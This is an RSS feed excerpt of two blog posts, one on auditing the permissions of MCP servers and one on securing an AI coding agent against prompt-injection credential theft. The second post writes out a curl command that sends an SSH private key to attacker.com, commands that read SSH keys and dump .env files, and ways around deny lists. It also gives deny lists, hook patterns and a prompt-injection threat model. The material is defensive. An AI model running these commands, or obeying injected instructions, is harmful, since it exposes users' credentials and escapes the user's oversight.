    &lt;/span&gt;&lt;span class="nl"&gt;"database-secondary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"database-mcp"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"code-graph"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"code-graph-mcp"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"docs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"docs-mcp"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Five servers. Two database projects. One workflow automation instance running dozens of production workflows. A code graph analyzer. A documentation fetcher.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Made Me Stop and Audit
&lt;/h2&gt;

&lt;p&gt;I was debugging a workflow late at night. My agent needed to check why a cron job wasn't firing. So it ran a SQL query against my production database. Then another. Then it modified a workflow node. Then it fetched execution logs containing customer email addresses.&lt;/p&gt;

&lt;p&gt;All of it happened automatically. No confirmation prompts. No approval gates. I had auto-approved every read operation across all five servers. The agent was doing exactly what I asked. That was the problem. I had never asked myself what else it &lt;em&gt;could&lt;/em&gt; do.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Each Server Can Actually Do
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;A workflow automation server&lt;/strong&gt; commonly exposes 15-20 operations. Tools like &lt;code&gt;create_workflow&lt;/code&gt;, &lt;code&gt;update_workflow&lt;/code&gt;, &lt;code&gt;delete_workflow&lt;/code&gt;, &lt;code&gt;test_workflow&lt;/code&gt;. Your agent can create new automations, modify running ones, or delete them entirely. It can read execution logs containing customer data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A database server&lt;/strong&gt; typically exposes &lt;code&gt;execute_sql&lt;/code&gt;. That's the big one. Arbitrary SQL against your production database. SELECT, INSERT, UPDATE, DELETE. It can read every table. It can apply migrations to alter schema. Two connected projects means two databases, both wide open to any query the agent constructs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A code analysis server&lt;/strong&gt; can run graph queries against a model of your entire codebase. Every function, every import, every dependency relationship.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A documentation server&lt;/strong&gt; fetches live docs. Lower risk, but still a vector. Any documentation page it fetches could contain prompt injection payloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  My 5 Safeguards
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Scoped permissions.&lt;/strong&gt; My settings file now has explicit allow-lists. Read operations are auto-approved. Write operations require manual confirmation every time. This one change would have caught the late-night incident.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Deny lists.&lt;/strong&gt; &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;wget&lt;/code&gt;, &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;python3&lt;/code&gt;, &lt;code&gt;node&lt;/code&gt; are all blocked in bash. The agent cannot make outbound HTTP requests or spawn interpreters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. PreToolUse hooks.&lt;/strong&gt; Three scripts run before every tool call. One catches data exfiltration patterns. One blocks access to &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;.ssh&lt;/code&gt;, and key files. One prevents the agent from editing its own security rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Network isolation.&lt;/strong&gt; Services run in Docker containers on private networks. MCP servers connect through API keys, not direct database access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Operational safety rules.&lt;/strong&gt; A document loaded at every session listing which operations are safe and which corrupt data. Certain operations are explicitly banned because they've caused production outages.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Risk
&lt;/h2&gt;

&lt;p&gt;The danger isn't your AI deciding to drop your database. It's prompt injection through tool results. Your agent calls &lt;code&gt;execute_sql&lt;/code&gt; and gets back a result. That result is now in the agent's context. A crafted payload in a database field or a fetched documentation page could instruct the agent to do something you didn't ask for. Every MCP tool is an injection surface.&lt;/p&gt;

&lt;h2&gt;
  
  
  Still Worth It
&lt;/h2&gt;

&lt;p&gt;I use all 5 servers daily. The productivity gain is massive. I manage dozens of workflows, multiple databases, and a full codebase from a single conversation. But I spent a full day building the permission layer around it. Audit your MCP configs. Count the tools. Check what's auto-approved. The answer will probably surprise you.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>buildinginpublic</category>
      <category>automation</category>
    </item>
    <item>
      <title>Your AI Coding Agent Has Access to Your SSH Keys Right Now</title>
      <dc:creator>Tobias Koehler</dc:creator>
      <pubDate>Wed, 25 Mar 2026 03:25:25 +0000</pubDate>
      <link>https://forem.com/connectengine/your-ai-coding-agent-has-access-to-your-ssh-keys-right-now-39mm</link>
      <guid>https://forem.com/connectengine/your-ai-coding-agent-has-access-to-your-ssh-keys-right-now-39mm</guid>
      <description>&lt;p&gt;I use Claude Code to build ConnectEngine OS every day. It reads files, writes code, deploys to servers, manages n8n workflows. It's the most productive tool I've ever used.&lt;/p&gt;

&lt;p&gt;Yesterday I read a post by &lt;a href="https://linkedin.com/in/slavasp/" rel="noopener noreferrer"&gt;Slava Spitsyn&lt;/a&gt; that made me audit my entire setup. His point was simple: a prompt injection from any webpage your AI reads could steal your credentials. Not theoretically. The permission path was open.&lt;/p&gt;

&lt;p&gt;I checked mine. Bash was auto-allowed. Every bash command ran without confirmation. Three SSH private keys, six &lt;code&gt;.env&lt;/code&gt; files with API keys, Supabase service role tokens. All readable. All exfiltrable with a single &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Attack Surface
&lt;/h2&gt;

&lt;p&gt;When you give Claude Code bash access, you're not just letting it run commands. You're giving it the same privileges you have. That includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;cat ~/.ssh/id_rsa&lt;/code&gt; reads your private keys&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;find . -name "*.env" -exec cat {} \;&lt;/code&gt; dumps all environment files&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;curl -X POST https://attacker.com -d "$(cat ~/.ssh/id_rsa)"&lt;/code&gt; exfiltrates everything&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The prompt injection vector is real. Any website Claude reads, any document it processes, any code it reviews could contain hidden instructions. The AI doesn't distinguish between your request and malicious content it encounters.&lt;/p&gt;

&lt;h2&gt;
  
  
  My 7-Layer Defense System
&lt;/h2&gt;

&lt;p&gt;I built a security system with multiple overlapping protections. Each layer catches what the others miss:&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 1: Pre-execution Hooks
&lt;/h3&gt;

&lt;p&gt;Bash hooks that block credential access before any command runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="nb"&gt;env&lt;/span&gt;|&lt;span class="se"&gt;\.&lt;/span&gt;ssh|id_rsa|config.&lt;span class="k"&gt;*&lt;/span&gt;database&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"BLOCKED: Credential access denied"&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Layer 2: Bypass Detection
&lt;/h3&gt;

&lt;p&gt;During testing, I found gaps. Pipes bypass simple pattern matching. &lt;code&gt;python3&lt;/code&gt; bypasses every grep-based hook. &lt;code&gt;cp&lt;/code&gt; bypasses read guards completely. The detection system catches these:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Catches: cat file.env | base64
# Catches: python3 -c "print(open('.env').read())"
# Catches: cp .env /tmp/x &amp;amp;&amp;amp; cat /tmp/x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Layer 3: Canary Counter-Injection
&lt;/h3&gt;

&lt;p&gt;A fake credentials file that counter-injects if accessed. If Claude tries to read &lt;code&gt;~/.env_fake&lt;/code&gt;, the system detects the breach and blocks all subsequent operations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 4: Self-Modification Guard
&lt;/h3&gt;

&lt;p&gt;Prevents the AI from disabling its own security by editing hook files or changing permissions on the guard system.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layers 5-7: Monitoring, Logging, and Network Isolation
&lt;/h3&gt;

&lt;p&gt;File access logs, network request monitoring, and restricted outbound connections for sensitive operations.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned Testing This
&lt;/h2&gt;

&lt;p&gt;The attack vectors are more subtle than obvious credential grabs. Real prompt injections would:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use Python to bypass bash pattern matching&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Copy sensitive files to &lt;code&gt;/tmp&lt;/code&gt; first, then read them&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Base64 encode outputs to hide obvious data exfiltration&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use environment variable expansion to obfuscate commands&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Simple deny lists catch amateur hour attacks. Sophisticated ones require layered detection.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Productivity vs Security Balance
&lt;/h2&gt;

&lt;p&gt;100% safety means no terminal access. That kills the productivity that makes AI coding agents valuable. The goal is making casual prompt injections fail and obvious exfiltration attempts get caught.&lt;/p&gt;

&lt;p&gt;I still use Claude Code daily. &lt;a href="https://connectengine.net/blog/why-i-built-my-ai-agent-inside-n8n" rel="noopener noreferrer"&gt;My n8n-based AI agent&lt;/a&gt; follows similar security patterns. The difference is I now run it inside a container with explicit guards instead of trusting the AI to behave.&lt;/p&gt;

&lt;p&gt;This connects to broader themes around &lt;a href="https://connectengine.net/blog/unsexy-infrastructure-behind-ai-agents" rel="noopener noreferrer"&gt;AI agent infrastructure&lt;/a&gt; and how we secure systems that operate autonomously. Even &lt;a href="https://connectengine.net/blog/ai-search-optimization-new-seo" rel="noopener noreferrer"&gt;AI-powered search optimization&lt;/a&gt; tools need similar protections when they access your content management systems.&lt;/p&gt;

&lt;p&gt;Audit your setup. Check what your AI coding agent can actually access. The productivity gains are real, but so are the risks.&lt;/p&gt;

&lt;p&gt;Credit to &lt;a href="https://linkedin.com/in/slavasp/" rel="noopener noreferrer"&gt;Slava Spitsyn&lt;/a&gt; for raising this issue publicly. His &lt;a href="https://github.com/slavaspitsyn/claude-code-security-hooks" rel="noopener noreferrer"&gt;security hooks repository&lt;/a&gt; covers the technical implementation details.&lt;/p&gt;

&lt;p&gt;Need help securing your AI automation setup? Start with a &lt;a href="https://connectengine.net/scan" rel="noopener noreferrer"&gt;free website audit&lt;/a&gt; to identify potential vulnerabilities.&lt;/p&gt;

</description>
      <category>security</category>
      <category>claudecode</category>
      <category>promptinjection</category>
      <category>aiagents</category>
    </item>
  </channel>
</rss>
